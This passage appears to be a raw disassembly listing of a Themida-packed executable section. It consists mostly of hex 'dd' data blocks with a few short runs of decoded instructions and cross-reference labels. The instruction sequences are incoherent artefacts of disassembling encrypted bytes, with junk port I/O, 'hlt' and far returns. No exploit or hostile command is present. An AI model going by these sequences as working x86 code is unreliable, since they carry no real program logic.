42CD6FBDh, 78C6BA6Bh, 0F1C61EB0h, 0B2EDE5Eh dd 72F8685Fh, 573B1EB0h, 0E7F86681h, 0EC54E812h, 129C908Fh ; --------------------------------------------------------------------------- push ebp mov ebp, esp adc ch, [esi] xor [eax], edi in eax, dx add al, [ebp+64h] and esi, [eax-1E4557AEh] db 26h push ss push 0C03733C5h sar dword ptr [eax+60303912h], 0B6h loc_4E3F0F: ; CODE XREF: Themida_:004E3F88j js short loc_4E3F12 inc ecx loc_4E3F12: ; CODE XREF: Themida_:loc_4E3F0Fj sal eax, 35h idiv byte ptr [eax+ecx+0Fh] sub edx, 1BB36EE6h dec edx adc [esp+ecx+6A2B0D58h], bl xchg ebp, [eax-0Ch] xor [edx], dl insb and al, 2 db 26h push edx jz short loc_4E3FA6 and al, 0DAh xchg eax, edi inc edx push es jo short loc_4E3F80 rep out 82h, eax ; DMA page register 74LS612: ; Channel 3 (hard disk DMA) (address bits 16-23) hlt ; --------------------------------------------------------------------------- dw 29C6h dd 0CED08E2Ah, 4159359Ah, 68570567h, 57521308h, 31ACB411h dd 322C118Bh, 7BBF2D80h, 93A7719h, 7F5FF92Ch, 0F5520039h dd 0D1DDF74Fh, 1B8B8EDh, 3DEF4C35h, 6412C2E9h, 5B2ED902h dd 2208CE01h ; --------------------------------------------------------------------------- loc_4E3F80: ; CODE XREF: Themida_:004E3F38j inc ebp cmp esi, [edi+42EFAEAh] pop edx jno short loc_4E3F0F inc eax mov [edx+61h], ecx lodsd fiadd dword ptr [edi+ebx+1Dh] jmp short loc_4E3FE0 ; --------------------------------------------------------------------------- db 16h, 4, 15h dd 0BD84FB01h, 8130849h, 5A021C78h db 68h, 0C7h ; --------------------------------------------------------------------------- loc_4E3FA6: ; CODE XREF: Themida_:004E3F31j inc eax inc esi cmpsb out 0DEh, al retf 0B7E6h ; --------------------------------------------------------------------------- dw 95FAh dd 0F04CEC54h, 5531E983h, 6BE26900h, 525B4819h, 32690F7h dd 0D3B8505Ah, 53C26E61h, 924CB28Eh, 0B6240F30h, 871E30C0h dd 8907ACFAh, 0A2363252h ; --------------------------------------------------------------------------- loc_4E3FE0: ; CODE XREF: Themida_:004E3F93j inc esi pop edi push esi ; --------------------------------------------------------------------------- db 0C5h dd 0C8318C8h, 4C49E5E9h, 0FBEB24BDh, 50F4F301h, 0E3E43BACh dd 0A4FCC003h, 1211349h, 0B5F6DD48h, 32336F0Bh, 0E932E8ADh dd 0BD7D54ECh, 6CF791E8h, 4F3BFDCh, 5731AFCDh, 0B9519010h dd 36781688h, 0CA533Eh, 6508C812h, 0E726E916h, 8751B204h dd 622C3824h, 92BE6547h, 31EE84D5h, 0EF343DC7h, 7530E92Ch dd 0D2BF0A4Bh, 43DD3730h, 591CC22Ah, 7E591A4h, 1E142CF5h dd 5DEE0681h, 0FD3D520h, 2942830Ch, 83E10F3h, 144AE93Dh dd 82857675h, 0E09CCD8Ah, 1C96055Bh, 7B0FF382h, 625F429Ch dd 91D2E6CCh, 3B893DE2h, 6E094474h, 0B4DDEA2h, 77625A07h dd 0A806413h, 789B6261h, 9A434DBh, 0AC085B08h, 0FDE94FD2h dd 4168D20Ah, 2874FF55h, 53924044h, 3E38924h, 0BE80DB21h dd 511A0387h, 3DD67EF7h, 0A99834CEh, 87F61171h, 5E120134h dd 6EE91DC1h, 64ACE535h, 0FFC60714h, 82EBC253h, 5048A466h dd 67B000F0h, 0CD81420Bh, 20191833h, 3E26D005h, 0E91B7D1Fh dd 58941826h, 0D21C5CF7h, 8D34D499h, 0A6C7F65Fh, 620F24F4h dd 4A02449Ch, 0FB43B066h, 43292A2Ah, 205876ACh, 590C1FBBh dd 0BC5FFE01h, 86F66012h, 0E27736BEh, 0E6816303h, 0F49843B7h dd 258D5E80h, 0F196C068h, 17C94DF5h, 47FEE926h, 9474888Ah dword_4E414C dd 0AA2C5A12h, 0E07B30E9h, 305CB45Eh, 5866E616h, 534B5301h ; DATA XREF: ___:off_43A50Co dd 0FEE967B7h, 76641C5Dh, 91E912F0h, 0E186C97Ch, 0DEC3ACD7h dd 0E96194A1h, 865161FBh, 0DC010C8Bh, 58967377h, 0DD531A32h dd 5206C496h, 4492BA0Ch, 14F996FFh, 5A7F003Ch, 0E831FE04h dd 90C1E65Dh, 1F3EE676h, 2C429DC8h, 2BA24C4h, 49602471h dd 2C053740h, 0A479BE28h, 0B2660B01h, 31DBE91Dh, 13050D62h dd 802CE51Bh, 34E27CD2h, 0D8E9EC08h, 323B39F5h, 88CD4B9Ah dd 61160B2h, 5CA14087h, 0DA6479E9h, 0A3B55B2Ah, 168E7B04h dd 0CF00FB25h, 0F680C6FEh, 0F11AB170h, 7CC285Ah, 454904C1h dd 489C207Ah, 932E7C02h, 11CD954h, 2580883Eh, 61100DC1h dd 0CD7D0160h, 213F5165h, 0C108E61Eh, 4C5F130Ch, 66695C19h dd 22BE929Ch, 0A8E4E244h, 0F904C1E1h, 0A18F5C01h, 9D8BFE39h dd 42599A13h, 44C6102h, 57B9163h, 0E910152Fh, 80F6939Ah dd 0EE87AEDBh, 10B9C3AEh, 0F70C8652h, 3F105966h, 0E90C282Ah dd 404A4D3Fh, 2DE6D0FCh, 3870DB09h, 0D602811Ch, 9050EB12h dd 5CE57BC5h, 0FA339B09h, 0A2B35D68h, 0F8824155h, 0B0812F86h dd 347A1E88h, 3FA5B901h, 0C2200D43h, 56720D63h, 43CC5545h dd 0C1A80CADh, 480E05E8h, 517D2Dh, 58C589DAh, 297A101h dd 682EEA2Ch, 72644F2Dh, 6307D738h, 1713739Fh, 0F54FCC15h dd 8E2F85D3h, 497B4E8Ah, 0D10EC3D0h, 0FE139EAh, 26F2FF84h dd 0BAD854AAh, 0B579CE62h, 8C1E5126h, 0F75B6671h, 171F2A76h dd 0FADC5239h, 810AD697h, 0EE8EC7ECh, 21F3096Bh, 0E1895144h dd 48112721h, 0FF006435h, 9D4C1C77h, 82103333h, 0CBACF99Ch dd 0C1BF4A81h, 0D021D656h, 7ACD08E7h, 0A7401504h, 5DF67E7Ch dd 0EB28961Ah, 0BB2C9808h, 2C388CCh, 35245396h, 0A2D963C2h dd 0E0DAF78Dh, 3E3CBED2h, 0E9376ECh, 3412C985h, 994F6887h dd 2ABEEE30h, 78DB2969h, 162C10A3h, 0B73677A1h, 111C3068h dd 3C19ED8Bh, 912D3D2Ch, 9940B63Eh, 95179463h, 2116822Ah dd 130505C6h, 7DB7886Eh, 0F801D2A8h, 0DC26A2B3h, 0A70CEACFh dd 1120591h, 876008D9h, 0B1B3B004h, 39168981h, 4D45B062h dd 38735961h, 62C56873h, 7A046986h, 0C5500ECAh, 794E53F2h dd 3189FE58h, 86C790D8h, 4D760BEBh, 5E8EEF29h, 973AFD61h dd 0A5FAE524h, 0E94107C7h, 810B3BC4h, 54C0E343h, 1357E19h dd 0A310106Ch, 181200Ah, 834AC508h, 64E1E961h, 880F5274h dd 45D2F6DAh, 14B33AA0h, 4A538503h, 39F1571Ch, 0C26F832Fh dd 0DEAA5566h, 3EB8020Ch, 0D50114CCh, 0A38FBB84h, 2A4B2459h dd 432EE103h, 0F4F1F90Ah, 7D51A726h, 4AA4E2CDh, 41B5CAC3h dd 2844E952h, 16044C42h, 0FB4051D3h, 1C9ED0BFh, 0D70104CEh dd 8BF8215Ah, 0C2090069h, 3168E2D1h, 656B9612h, 0AEDD51Bh dd 9CD1073Bh, 6B300425h, 0DC9B00Ch, 8C330FFEh, 0C8081029h dd 191F2493h, 0CEC331A9h, 0FE5A14FAh, 89EF7906h, 3010D25Ch dd 2D80C9D5h, 0AD500F60h, 0DE6B5F3Ah, 0D8298120h, 87E24C05h dd 9856593Eh, 5E1AD91Ah, 4BB3C48Fh, 485ACA34h, 0D2102C8Fh dd 0E0F26809h, 0B4FFE945h, 7B6231C7h, 0FA2D741Ah, 7FE76816h dd 40DCA8CCh, 6C9C5A80h, 46EE6252h, 35A92046h, 926AAC76h dd 18BF74B7h, 0EA8F1655h, 0F6109803h, 56015A80h, 4E080146h dd 0FC1DD365h, 7F123FE7h, 70002068h, 72B15B83h, 0F3C962E9h dd 0A6E015B6h, 9998F6AFh, 0A600AD4Fh, 6DCE8166h, 0BD0ADF43h dd 4E3E4FBDh, 402E6802h, 0A50A7E9h, 0D5D1A783h, 423669h dd 1B8011A5h, 0F432BB53h, 901F699h, 76F9E9D8h, 0F5CA6F98h dd 653F7712h, 29E6D909h, 0B7F020CFh, 7DEFC022h, 22695803h dd 0C088C787h, 0F8298B17h, 2D35F59h, 0E9E78957h, 662D69E8h dd 40756720h, 0C709014Ch, 77C2958h, 54845FCCh, 0E720DB85h dd 4DEE3A5Dh, 5A2B153Fh, 8A6035FBh, 6DAB187Ah, 0C7C8A00Bh dd 0C24F5A70h, 54075BE2h, 4C0D3CD3h, 8814C20Ch, 8193AB77h dd 0F06E7E20h, 0E5BC790Bh, 0FF8D7A92h, 0C8726341h, 28858758h dd 0E89D7F6h, 3F78004h, 835BF804h, 2D2AFFABh, 557C7B51h dd 5D63E764h, 19C4D9C7h, 6C9E9916h, 4A8C8535h, 5A544344h dd 6CE916D8h, 0EA18217Fh, 0DF1ED418h, 0B4FDEB66h, 81149107h dd 2F136B85h, 81DDCD30h, 44A49B5Ah, 885BB88Bh, 6353F2EBh dd 50E63B0Ch, 9222410h, 0CDF20115h, 5B9D5E24h, 0D21C0C5Dh dd 0BDC8C712h, 6C5BA20Eh, 31662C16h, 63BB42EFh, 7A5F93A6h dd 7860845Dh, 27438B94h, 0EB710328h, 76DC3BD8h, 0ED910C00h dd 0D22D4941h, 32352620h, 8007A030h, 9A2315CFh, 0EA475C12h dd 0ED363D7Eh, 0E325A7Dh, 0B3C081DCh, 0C110255Eh, 0D04E21F9h dd 0B90591A2h, 59CB899Eh, 0B0D95BC3h, 4FC8E9CDh, 335E228Ch dd 6318F86h, 160DAFCh, 80D4F61Ch, 3B3973E4h, 0F41CB6ECh dd 3A94246Fh, 4509D720h, 0B047D368h, 0BC82D254h, 2D246F5Fh dd 0A0AB94C7h, 11C32526h, 0FD68E1F7h, 3DC31497h, 212929D3h dd 0F0250CAEh, 5E4F5414h, 0B4EEBB63h, 9729DEC9h, 1E5EB91Ah dd 0BA52FEE8h, 0F4169F09h, 5178048h, 0EC7A836Fh, 0F73DF2F2h dd 90D389E4h, 20C30549h, 85F4460Ch, 397489F3h, 51384D0h dd 1BC60534h, 0A9F8477h, 929D7AFCh, 86141E81h, 0F3C7169h dd 34412214h, 0C6A617E7h, 4C75F49h, 29033DB1h, 0C3D35EF3h dd 7D458A04h, 11840592h, 731ADAA2h, 0C3657E3Eh, 8B080CB5h dd 0EA880041h, 4C8A5B59h, 86FA1798h, 0B90126B3h, 6D1C739Dh dd 1065F8F5h, 1846B520h, 8270FE5Ah, 164879D4h, 2FF30752h dd 122BF89h, 0E1898FDFh, 59AC1163h, 8415429h, 8F28DE66h dd 0EF2F6CEAh, 5D163248h, 57036F13h, 0B03759EEh, 32E9CB29h dd 4BA02B8Dh, 9FF9DAE0h, 8A606628h, 465482FCh, 8F3DEAABh dd 6101AE0Ah, 1EDC18Bh, 0F16EC562h, 0E8F88161h, 0E368175Dh dd 0C28F6023h, 52602751h, 9F5F46BCh, 0C7E9137Fh, 468481Ch dd 5CFFC039h, 0C5345F30h, 13F0E2B8h, 0FE02FE89h, 89348BF3h dd 4B685973h, 0ACE9C6A1h, 0CD413450h, 1A8304B0h, 19ECE9h dd 6EC1D7F7h, 0B1C0C6EFh, 2D42959Eh, 0A757500Bh, 5520573h dd 0A15F070Fh, 7BC544AAh, 2BDF612Ah, 0E552054Fh, 704B3804h dd 0C80C8704h, 8833515Ah, 42FE7EFDh, 935864DCh, 989A6817h dd 83A95028h, 80D43056h, 295973C3h, 89E5106Ch, 15B9054Ch dd 0EE814213h, 0F9A656A2h, 44814299h, 9C1A2900h, 3E1BDE26h dd 280C6C29h, 1C1D0F43h, 5C4C1E37h, 8EB85B3Eh, 598B0B69h dd 58C38B89h, 42B55887h, 1E401135h, 8E0B7E3Ah, 0C008E978h dd 5D5D687Eh, 3A812F1Dh, 0E133EA49h, 7A1F6DF0h, 0C2D93645h dd 0FE032A7Ch, 5E2C0CAh, 4515D7D1h, 9679013Bh, 8826AA4Bh dd 3809C30h, 0E78871B4h, 8E7D8ED7h, 0C74CCFFEh, 0AC24F0Eh dd 59540CE9h, 0E159122Bh, 52E4F068h, 5C661C9h, 0FFF4234Dh dd 60879886h, 14887653h, 43900347h, 2808FAD1h, 762D93FBh dd 0E13D285Bh, 0D1975312h, 138CF26Eh, 0FB4C7A01h, 0D4845073h dd 440B164Fh, 6440412Dh, 0B025497h, 0B783B4E1h, 0A50020B2h dd 0D37479EFh, 0CBFD311Fh, 0C5AD5988h, 4E8DA5E7h, 72058AFEh dd 8232A3B6h, 0CA520474h, 33EF4173h, 4F397CDBh, 2915094Eh dd 80E88F2h, 802D8526h, 0C8BE0F0Dh, 0C4757D68h, 130A94DBh dd 480FD388h, 371212B6h, 54E23203h, 0E98E1571h, 0EA79B95Ah dd 69C29E25h, 0D3785142h dd 5927F494h, 27CAAF0Ch, 0DF7B52D0h, 0C4E4870Bh, 852F9664h dd 265D5455h, 0BB547CD7h, 0F8414A1Ah, 4C15D351h, 0FA2642h dd 2C0835Eh, 0B9A52597h, 0EC18ECB1h, 2FF57D01h, 202F5B67h dd 5C0242ABh, 6059C36Ch, 77565C8Fh, 6B4BC12h, 73AD2D68h dd 9BC17293h, 92696C49h, 0D965E78Ah, 8F29F25Dh, 0C916148Bh dd 0BA32C651h, 16884EC6h, 0D2BB62C0h, 3600CE4h, 766A25B5h dd 2D2C00CAh, 0C7A4EBFh, 2A5CB805h, 128926FBh, 0E9DA2902h dd 3047769Ah, 80B4B267h, 6821C205h, 8F8C0EB7h, 0D7880953h dd 0B35870E9h, 0CC69F49Ch, 144E4AFAh, 1B10E05Ch, 0E680C60h dd 5B6A216Fh, 0C3B2504Fh, 5F7D49D2h, 5A683D90h, 17BCD599h dd 104BF761h, 996E00C5h, 0DD76624Dh, 1195066h, 5029C180h dd 0FCEC1BB0h, 0B2EAAB0Fh, 8E248204h, 0CFBF00E5h, 5692505Fh dd 0E0690A07h, 59B0094Dh, 0DE78147h, 54756F96h, 579BEC0Eh dd 491BE02Ch, 0F07F9902h, 267ECB5Fh, 733054D2h, 0D2A7828h dd 3225C6B2h, 724099C2h, 2379F3E9h, 0BC2BF102h, 0F25E25ADh dd 0C3400917h, 0EC06A3F3h, 0DA0CC27Bh, 0C8C12217h, 55B068ABh dd 930D3D75h, 27FEC276h, 0B1229C68h, 28008214h, 4EEF80F7h dd 2CA1CC0Ch, 0F875AA70h, 2BFA25E9h, 706E9A49h, 5166246Fh dd 0C1CA0839h, 0BC5B03Eh, 0FAFA015Ah, 424FFBCh, 85AD233h dd 5C0F30C4h, 901DCC1h, 1F840FC0h, 836597A7h, 573BFB91h dd 8147B82Ch, 0B450C3FEh, 2841E81Ch, 83E6BBBCh, 4233660Ch dd 0DD00631h, 72DB89C2h, 0B56B69F1h, 9425B3C4h, 96B69B3Ah dd 0F7D0C855h, 1F983500h, 48014FDDh, 0EC2640C1h, 0A13CA544h dd 7D17FE81h, 90128F81h, 714C0CDEh, 5F54BD6Fh, 2C91C3D0h dd 0E34A53Dh, 59F8E176h, 0D8C1A82Ch, 2BCDF1h, 5052AD91h dd 4B18A7B8h, 26C01C17h, 0E94F13DAh, 4A98837Dh, 0E29C0D8Dh dd 5C8D11B4h, 10223230h, 511BC0E1h, 93D2A954h, 74920178h dd 8C0B3A98h, 8B28FA68h, 0BDFF8087h, 7F623257h, 0B536138h dd 205DEE31h, 7DB1F80Eh, 0DAD95996h, 0BB00FB19h, 880B4868h dd 0F0A416F6h, 233D8C7Ch, 0DA06956Dh, 0C89C41B9h, 253E1205h dd 0D2639359h, 2BEDF229h, 0D53BA53Dh, 4DE84792h, 40ED6B5Ah dd 0E45EBBABh, 0D9214818h, 82835BA9h, 68075781h, 5110E73Fh dd 552659BCh, 40093963h, 1B80670Bh, 604C5E71h, 21418FB0h dd 0F2BC05E3h, 0E140EC28h, 40ED2293h, 0AA09BFA7h, 4A25765Fh dd 5CADC07Ch, 0D1B3CE39h, 89CA9BE4h, 1F5FF854h, 587D1BCh dd 80CE0411h, 7F141988h, 96F86101h, 0C17073AEh, 2546704Fh dd 0CF5C5A3Ah, 1866F01Ch, 0F55C3390h, 30168BCFh, 306068C0h dd 42A671B1h, 9DBA5200h, 2602F672h, 0BDE73FE9h, 4ECC9CAh dd 4196C1E2h, 5C793F0Ah, 0DE152B22h, 0A21AAD37h, 0AB52EABFh dd 0A01DC77Eh, 0EE81DC0Ch, 62D66724h, 0C6F9FEFDh, 0DDB80844h dd 3771140Bh, 7EBED400h, 0CAA00F6Bh, 3018E4EEh, 8C0C1725h dd 2A4D2018h, 0CDF7D105h, 2C12902h, 1B6D0FF9h, 19166C02h dd 850315Ch, 2755AEFEh, 34F8E166h, 0EF7F896Fh, 0B210E35Fh dd 30902C9h, 883129DAh, 8B2EFEB5h, 4D2C6BA6h, 0D1DA9BA5h dd 3A362ECFh, 1350222h, 0B58471D6h, 82F39B12h, 93DF2348h dd 1866F305h, 3E5B4D78h, 9C1CB51Ch, 1EE9C70Dh, 88F08EF1h dd 687E251Dh, 2DB41F8Dh, 0A5267A0Eh, 0F69C96Fh, 9B5FB3C4h dd 0A002D383h, 5CD2D24Eh, 38880528h, 0BC1A9458h, 627A40Bh dd 0C61912F9h, 0BE00A1B1h, 501DA904h, 5B814723h, 0C029A76Ch dd 3CF100B6h, 6872D96Fh, 0A553E126h, 40515662h, 79454h dd 0EA8154CAh, 113E7906h, 2EB2A790h, 0D5058BEh, 0F7A9C052h dd 6242074h, 66272396h, 7B82804Fh, 0ACE4B1F8h, 406B1557h dd 466FBD1Ch, 0BBB187Dh, 0EB311A04h, 0A3F2215Dh, 2E95561h dd 0D8872511h, 91B66E36h, 0E4F45047h, 275ADCFCh, 984E7529h dd 144B5CEBh, 0D0818F88h, 592D6A26h, 5603D144h, 2A6A5168h dd 0CBEDDA33h, 3D641231h, 5A808822h, 0F5685B09h, 0B07BC632h dd 0B388D246h, 6C33202Ah, 5C0D0631h, 0C6BD18A1h, 14C38F04h dd 0F60F1FB6h, 0B4CE95E1h, 8E58816h, 40A5D20Fh, 0B1115813h dd 0F4F50D47h, 5076EEFFh, 6A30163Dh, 0B0F0B227h, 0F831FA5Fh dd 0CD29165Dh, 7C71E459h, 0BFE575D2h, 788EBBD0h, 0C7294F08h dd 5605D181h, 0F001F423h, 0BFFC57F8h, 9D5913DFh, 2DF5F82Dh dd 41C80EB2h, 53529598h, 4E266805h, 3A00EC6h, 45C101A0h dd 0E9DA89FCh, 53556422h, 0B90256B2h, 58217733h, 71068905h dd 42C649B4h, 0F646812h, 0BB53F031h, 0F0020E93h, 0C6F8D8C6h dd 215B580Ch, 29683BF0h, 0B9DF0314h, 0EDB4E0ACh, 0FE15608Ch dd 0C91595A1h, 8B093B6Ah, 0BFBF795Fh, 0C01C810h, 0B6DF068h dd 0DE1F586Fh, 0D7C24B2h, 94FAC84Bh, 0D0F2881Eh, 35794418h dd 270E8D0Ch, 2E06D57h, 71DE0C1h, 186FE948h, 1334BA97h dd 0C7E1540h, 16B20CBh, 165BF948h, 0F629D07Ah, 1E67666Ch dd 50128C6h, 7B95F8Dh, 0DAD9A3E8h, 0B6D99E33h, 25F43E08h dd 2E74A79Ah, 0CC4AB989h, 40B6B9CDh, 310CE8C1h, 297AC865h dd 2C07B9B8h, 275A66C2h, 1791B253h, 3C27774h, 8CF65632h dd 0AC0C10B5h, 10E9305Ch, 5E2D36B6h, 1CA6843h, 5F5BD9E8h dd 0D0F7481Eh, 29E5D69Ah, 5F7908BEh, 5AC701AFh, 0FD365059h dd 1558C113h, 0A2D13605h, 72F12986h, 0C2F93E20h, 673668E5h dd 0B69E06E6h, 59E50BCEh, 43103C9Bh, 9C05A73h, 3E9B3AC3h dd 0B3A723AAh, 805A8383h, 107AC1E4h, 0F00F28EFh, 90D8285Ah dd 0B25226D6h, 59B008DFh, 8040B61Eh, 0B450F5C6h, 39E4EC73h dd 68FC0C4h, 0E8DDDCF6h, 0C1AF4AADh, 288EBF5Ch, 0F729175Ah dd 9382CB1Fh, 420B7E1Bh, 8AC8829h, 8DDBD99Fh, 0F657AB6Bh dd 878B8044h, 0EB2880D2h, 969FC2B2h, 4E687CAAh, 0DF80CC57h dd 13B5CB2h, 7A9797CAh, 71113727h, 22F663F4h, 8DE45859h dd 0E4094525h, 156A01Bh, 8812D42Ch, 75347907h, 4E86B9C1h dd 38A09B6Eh, 0A314B652h, 3782F388h, 0F25347FDh, 8F2440BAh dd 0FCECE617h, 0E7883F53h, 0A1892B27h, 0FF440271h, 0C5D2C8C8h dd 0C0D70141h, 1A6C33CFh, 0BFB705Dh, 466011E9h, 2E6292E5h dd 0D1D829h, 6AE2748Ah, 5B4B2DE9h, 863D069Dh, 0A5B41ED3h dd 6CB88980h, 4800BB2Bh, 22D6368h, 90295E49h, 91D059F3h dd 7FE8B902h, 0EBC07B09h, 2527856Ah, 0D6EDE298h, 7E98930h dd 0BE0470D0h, 2E627F28h, 404FB7F8h, 7D8EC5DCh, 0F5EC2DF0h dd 260FF905h, 308089C7h, 0B05BD931h, 79CB4159h, 50BE041Dh dd 0C1874D62h, 0CA0203CDh, 0BF0C7971h, 4124FBC8h, 0B6A4B026h dd 127B2D57h, 884FF629h, 0DE678C49h, 506996F4h, 31C07574h dd 2D2C53C7h, 0B6297634h, 0EA835011h, 0D2DE12BDh, 366509F7h dd 0A8097641h, 620551A9h, 0B2D30107h, 0E50F5779h, 289B30EDh dd 89BE98BAh, 443B0D6Dh, 0B201BD63h, 2D21D5E7h, 0F160291Ch dd 0C839A95h, 1CA4B17Ch, 382D1A43h, 6B9FEB49h, 120268Dh dd 0A10C7B34h, 122D6B29h, 7D96006Eh, 0D13EA74Bh, 0DAE9ED0Ch dd 98E7873Fh, 8CD00ECh, 0EE814FD5h, 7B3B322Bh, 33CE003Ah dd 0F7340351h, 491CC0DEh, 1CAA428h, 602FE9F2h, 0A581222Ch dd 96D7717Fh, 0DFB256FEh, 81832024h, 0CA284271h, 493CD4Fh dd 12ABB9BBh, 0FA1D7E9h, 0B8660634h, 49B74C33h, 0BEC68225h dd 96EF8124h, 5FA7A46Bh dd 0E2D0E332h, 0AAD14D8Bh, 0DA2F2546h, 3B3EB0E1h, 0EB38D14Fh dd 0B77720CCh, 2EF80CDh, 0B151504Eh, 9D515339h, 9587662Ch dd 0C51B4B1Ch, 806E2897h, 0BF895A0Fh, 5644EAEh, 3A578075h dd 7C1E9C0Ah, 7A8E801h, 0B86149Fh, 22DD6855h, 694F0AB0h dd 602252Fh, 7F0C6170h, 21D14C51h, 8CE9C80Bh, 949FD5F0h dd 96DDFCDBh, 0A402F15h, 0DE0317C2h, 0D63109D8h, 0ECF09A5Ah dd 59E916BFh, 691FF2B8h, 444F4A17h, 0DE132CEEh, 40256D7Fh dd 181CD476h, 0FE017D17h, 487B078Ah, 0AB2403C6h, 296E0BFEh dd 4EAD2860h, 0AF970082h, 0D0C84B7Fh, 9173F92Ch, 6BB251Ah dd 54519E09h, 0B46A6659h, 0EC5C647Fh, 4C68E058h, 8156B12Fh dd 1726BBFh, 0F781C447h, 0A63AED0Ch, 3FEA0C2Fh, 365DD25Eh dd 3EBD373Fh, 1249DAA6h, 38398925h, 0FA0E9B07h, 5685D847h dd 34170D50h, 0CD4189C9h, 3E122EC2h, 0E9B9B5D2h, 5520B4A7h dd 20C590E5h, 0FA04B7Ch, 650F45B8h, 0ECC15D41h, 25030604h dd 588022E9h, 1F57AEBBh, 10CE445Ch, 831659CFh, 367252EDh dd 6500D463h, 0BD640608h, 49E0242h, 0E9D5010Eh, 4E67BC3Ch dd 6AAE9929h, 6BB4279Dh, 20DE29C4h, 31D2B900h, 42B81A09h dd 0F22EEE0Ch, 5760C15h, 2958807Fh, 0A3BEA4CFh, 0F2533560h dd 76B06F4Eh, 94E2054Bh, 0C25D5430h, 5607DABEh, 7BD0F864h dd 9C5C4168h, 38E9780Bh, 5934E165h, 564EF8BCh, 67C809CFh dd 0D02DB9C1h, 7A752102h, 351E6C09h, 69442EF9h, 799339F1h dd 10C48014h, 402DE203h, 0C57E201h, 4820C08h, 0E96EEC45h dd 2019A151h, 0BBB61F54h, 17EBC52Fh, 0B1DAC018h, 0C13D8023h dd 5BCE3B1Dh, 34E1A434h, 0A46943F0h, 10F11495h, 0AE108988h dd 0DE011933h, 0BEE02B5Ch, 16F69873h, 6052D66h, 3C1B8E72h dd 2F28519Bh, 9E6BED49h, 3075C009h, 5158595h, 0B6E93F35h dd 0A2C9A80Eh, 0B5DFC8CFh, 0EA28246Ah, 0BD3173Fh, 5CCE5603h dd 0D04FF7F6h, 2C68C888h, 0CB39382Bh, 71C4DA93h, 16A1EE01h dd 3D528887h, 5D02907h, 3B700A20h, 14C3EC5Ah, 15359F40h dd 5A775710h, 0CA51DA83h, 9070DA27h, 13BE5AFBh, 6AE4CDCAh dd 42D38C49h, 0E97ED92Dh, 54B111C5h, 2D81727Bh, 6D1820EDh dd 0F50661B3h, 6C0BE7E4h, 805DEB29h, 0D63D8B04h, 0FB010945h dd 58805350h, 5B081758h, 4A53C095h, 0D728802Fh, 0EFC05A1Fh dd 590865A4h, 68E8310Dh, 0A8122FC9h, 509F25A2h, 6C1050E3h dd 3A8FED02h, 605EF201h, 3C368BA6h, 0D1A466B3h, 0F80820D3h dd 0AF09B314h, 0D4053123h, 5DE8C513h, 1A0BEF4h, 89677673h dd 0F3582047h, 9F0549B7h, 0F7FFD3DFh, 0D2CF81A8h, 4CD87824h dd 0E9408h, 377B4235h, 0C54C0121h, 0CBE62A82h, 4A4E6B90h dd 0F39708C5h, 0E94B3FE5h, 0D089075Bh, 6099C725h, 0A537173Fh dd 3BC801DFh, 0D0010164h, 0DA2C396Fh, 1321ED67h, 82E98F1Eh dd 4C85088h, 9811B568h, 7917CD9Ah, 680C5443h, 43EC25DDh dd 20535849h, 0D9314C47h, 0F5E78101h, 0F358A419h, 0DE7B0F0Bh dd 4682831Dh, 4EC7D4E9h, 0C7B2A52Eh, 0A327E3B9h, 7FB89000h dd 357A7611h, 6658F12Dh, 93B594DAh, 0BE50E0BBh, 0DA9FE103h dd 0E7F30171h, 0E6B7493Bh, 9080D470h, 0E50DA025h, 9A48393Eh dd 526F2D79h, 0DF93C298h, 0A314ED7h, 533B59CEh, 0AC065CEh dd 9297CBB9h, 8B6809F6h, 628216C2h, 0B1477A1Ch, 0E9090211h dd 0BE90F0F6h, 0A905667Dh, 5DEE293Bh, 443212DDh, 50B52E12h dd 0C56B617h, 1A82552Ch, 97F05B01h, 0C5437B2Ah, 0E6FA0BA2h dd 1A522326h, 0F8E47F6Ah, 72252694h, 0EA344D22h, 0EAFBF435h dd 9BE52DF4h, 25F16908h, 17628B71h, 0BC8CD9B7h, 9B6AAFACh dd 0EA22CF58h, 0F8D65CC5h, 7D72F258h, 195530F2h, 3461C779h dd 5E1F37E2h, 0D6895750h, 834B22C2h, 8601A0Ah, 0BB2423E1h dd 8E2D246Fh, 2ED6283h, 53CE045h, 6AD56D87h, 0B8E9E808h dd 8ABFA7C4h, 225B4C3h, 5302B472h, 0F9E03140h, 40F1E6C1h dd 0CF66E9BEh, 28005BBAh, 8103CB01h, 24113FE3h, 22470DFAh dd 518F81C7h, 0C5526528h, 0B3E830C4h, 0EB800E3Eh, 970B3766h dd 0B0DCD242h, 3C6541DAh, 0CBD6C91Ch, 20C9AE6h, 0BB7CEBC1h dd 0A50ABC2Ch, 0AA25DD90h, 0C0001974h, 0C176464Ch, 4A082CEAh dd 4BC71FC1h, 56804D6Fh, 6BD0629Eh, 0D072E939h, 56412C60h dd 0B514120h, 67835B9h, 0EB1FA602h, 0B801EEA9h, 0DA5B1B45h dd 0BA013641h, 0A1151F14h, 13528753h, 0CDE9A589h, 8003068h dd 0D9F658C1h, 37DE1C0h, 0E55D5335h, 5635B5ADh, 79E9A186h dd 0DB30B556h, 0F4252E5h, 0DDF74DA3h, 133BF501h, 0BF40CE36h dd 0E92C78AFh, 5D0265D1h, 83A5BE56h, 4C683387h, 4C69C84Bh dd 82581674h, 0B9068642h, 27806002h, 650A008Ah, 0CE2941D7h dd 5F9183E9h, 8F5CCF80h, 90E7C17Fh, 0BE65B7Ah, 1272BD2Bh dd 192F30C8h, 6DD4F05Fh, 28610576h, 86C348FEh, 0C10D5B5Dh dd 3ADEE90Ah, 0DE5EC913h, 5BB86C12h, 4976EB56h, 90D2F1EAh dd 2AA2BA32h, 4213E004h, 0A3E176E9h, 94D2AF68h, 6FCC0CB4h dd 0EB12C34Fh, 0F04700Dh, 0B2F2CCD2h, 8A3CB51Eh, 89960533h dd 0B89A62E2h, 0E90625F9h, 77635A8Fh, 5314ED6h, 83C129A6h dd 6B035913h, 588069F3h, 5BDEE973h, 9D92E821h, 51BD5Ah dd 0FE2F3BC6h, 4BB53E8h, 6CC76D60h, 488804Bh, 0D81FCB81h dd 0F701C361h, 613E9DBh, 0EFF55F81h, 20517A18h, 0C8E4640Bh dd 5CC0E564h, 18C5018h, 0E94F7F39h, 9028E80h, 0C7847908h dd 949839BBh, 450B712Eh, 5A7EE91Eh, 5738A133h, 0A733330h dd 0F80942CDh, 1A5409F7h, 66D909A2h, 2119D79h, 0C7F1800Bh dd 0B73E1984h, 72E7B8Ch, 45C90044h, 0C2642925h, 482945BBh dd 62061CABh, 5AD542E6h, 8B25D078h, 0FA9B9461h, 70380B7Ch dd 0B7005773h, 667232C5h, 0E160E916h, 7F68849Ch, 71989549h dd 0B50D3D88h, 